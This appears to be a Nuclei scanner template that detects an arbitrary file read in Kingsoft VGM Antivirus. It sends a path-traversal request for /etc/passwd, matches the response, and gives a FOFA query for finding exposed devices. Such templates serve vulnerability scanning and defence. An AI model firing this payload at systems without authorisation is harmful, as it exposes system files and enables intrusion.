id: kingsoft-vgm-lfi

info:
  name: Kingsoft VGM Antivirus - Arbitrary File Read
  author: abbas.heybati
  severity: high
  description: |
    There is an arbitrary file reading vulnerability in Kingsoft Antivirus. An attacker can obtain any file on the server through the vulnerability.
  reference:
    - https://mp.weixin.qq.com/s?__biz=MzkyMjE3MjEyNQ==&mid=2247486073&idx=1&sn=8e61e162262585bb8ce973b61df989b4&chksm=c1f925cbf68eacddfe441b8f1861e88068039712e467fb9bbe91eae31d439286c7147d197b07
    - https://github.com/zan8in/afrog/blob/main/v2/pocs/afrog-pocs/vulnerability/kongsoft-vgm-antivirus-wall-rce.yaml
  metadata:
    verified: true
    max-request: 1
    fofa-query: title="金山VGM防毒墙"
  tags: kingsoft,vgm,lfi

http:
  - method: GET
    path:
      - "{{BaseURL}}/downFile.php?filename=../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: word
        part: header
        words:
          - "application/force-download"

      - type: status
        status:
          - 200

# digest: 4a0a00473045022100f2502080be7eb0c3cc36d778e65dac2e50b2dc8930e92e8253154de9305015ab0220536c3849100109e24770d3ade708928f6be51ee39cb53ef97cb149042ae724c9:922c64590222798bb761d5b6d8e72950